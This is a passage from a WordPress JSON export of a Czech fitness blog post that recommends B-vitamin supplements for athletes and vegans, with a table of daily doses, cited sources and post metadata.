k&nbsp;tomu, \u017ee tyto cenn\u00e9 vitaminy najdete p\u0159edev\u0161\u00edm v&nbsp;potravin\u00e1ch \u017eivo\u010di\u0161n\u00e9ho p\u016fvodu (maso, vejce), jsou ur\u010dit\u00e9 skupiny lid\u00ed (vegani, vegetari\u00e1ni atd.) vystaveny vy\u0161\u0161\u00edmu riziku jejich nedostatku. Vy\u0161\u0161\u00ed n\u00e1roky na p\u0159\u00edsun vitamin\u016f skupiny B ale maj\u00ed i sportovci, zejm\u00e9na v&nbsp;p\u0159edsout\u011b\u017en\u00ed f\u00e1zi, kdy omezuj\u00ed p\u0159\u00edjem energie a vy\u0159azuj\u00ed n\u011bkter\u00e9 druhy potravin. Kvalitn\u00ed suplement tedy rozhodn\u011b d\u00e1v\u00e1 smysl, proto\u017ee zajist\u00ed t\u011blu dostate\u010dn\u00fd p\u0159\u00edsun l\u00e1tek, kter\u00e9 umo\u017en\u00ed optim\u00e1ln\u00ed pr\u016fb\u011bh metabolick\u00fdch proces\u016f a vytvo\u0159\u00ed tak dobr\u00e9 podm\u00ednky pro dosa\u017een\u00ed stanoven\u00fdch c\u00edl\u016f. Vy\u0161\u0161\u00ed n\u00e1roky na p\u0159\u00edsun vitamin\u016f skupiny B ale maj\u00ed i sportovci, zejm\u00e9na v&nbsp;p\u0159edsout\u011b\u017en\u00ed f\u00e1zi, kdy omezuj\u00ed p\u0159\u00edjem energie a vy\u0159azuj\u00ed n\u011bkter\u00e9 druhy potravin. Kvalitn\u00ed suplement tedy rozhodn\u011b d\u00e1v\u00e1 smysl, proto\u017ee zajist\u00ed t\u011blu dostate\u010dn\u00fd p\u0159\u00edsun l\u00e1tek, kter\u00e9 umo\u017en\u00ed optim\u00e1ln\u00ed pr\u016fb\u011bh metabolick\u00fdch proces\u016f a vytvo\u0159\u00ed tak dobr\u00e9 podm\u00ednky pro dosa\u017een\u00ed stanoven\u00fdch c\u00edl\u016f. Jestli m\u00e1te o\u010dek\u00e1vat \u0161pi\u010dkov\u00e9 v\u00fdsledky od kvalitn\u00edch spalova\u010d\u016f, m\u011bli byste v&nbsp;prvn\u00ed \u0159ad\u011b harmonizovat z\u00e1kladn\u00ed pochody, jak\u00fdmi jsou produkce energie a zpracov\u00e1n\u00ed makro\u017eivin. V&nbsp;tomto ohledu maj\u00ed vitaminy skupiny B ve va\u0161em suplementov\u00e9m programu svoje nezpochybniteln\u00e9 m\u00edsto. Vitamin B Doporu\u010den\u00e1 denn\u00ed d\u00e1vka \u017eeny\/mu\u017ei* Thiamin \u2013 B1 1,1 mg\/1,2 mg Riboflavin \u2013 B2 1,1 mg\/1,3 mg Niacin \u2013 B3 14 mg\/ 16 mg&nbsp;&nbsp;&nbsp; Pyridoxin \u2013 B6 1,3 mg&nbsp;&nbsp; Kobalamin \u2013 B12 2,4 mcg B9 \u2013 kyselina listov\u00e1 400 mcg B7 &#8211; biotin 30 mcg B5 \u2013 kyselina pantotenov\u00e1 5 mg *Jde o d\u00e1vku pro pr\u016fm\u011brn\u00e9ho dosp\u011bl\u00e9ho \u010dlov\u011bka, tzn. mno\u017estv\u00ed, kter\u00e9 nezohled\u0148uje zv\u00fd\u0161en\u00e9 n\u00e1roky tvrd\u011b tr\u00e9nuj\u00edc\u00edch sportovc\u016f. Zdroje: https:\/\/pubmed.ncbi.nlm.nih.gov\/25770253\/ https:\/\/www.wjgnet.com\/1948-9358\/full\/v6\/i10\/1158.htm https:\/\/pubmed.ncbi.nlm.nih.gov\/17240780\/ Van der Beek, E. J., Van Dokkum, W., Wedel, M., Schrijver, J., &amp; van den Berg, H. (1994).&nbsp;Thiamin, riboflavin and vitamin B6: impact of restricted intake on physical performance in man.&nbsp;Journal of the American College of Nutrition, 13(6), 629-640. Institute of Medicine (US) Standing Committee on the Scientific Evaluation of Dietary Reference Intakes. (1998).&nbsp;Dietary reference intakes for thiamin, riboflavin, niacin, vitamin B6, folate, vitamin B12, pantothenic acid, biotin, and choline.&nbsp;National Academies Press&nbsp;(US).<\/p>\n","protected":false},"author":2,"featured_media":724,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-723","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/723","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=723"}],"version-history":[{"count":4,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/723\/revisions"}],"predecessor-version":[{"id":784,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/723\/revisions\/784"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/724"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=723"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=723"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}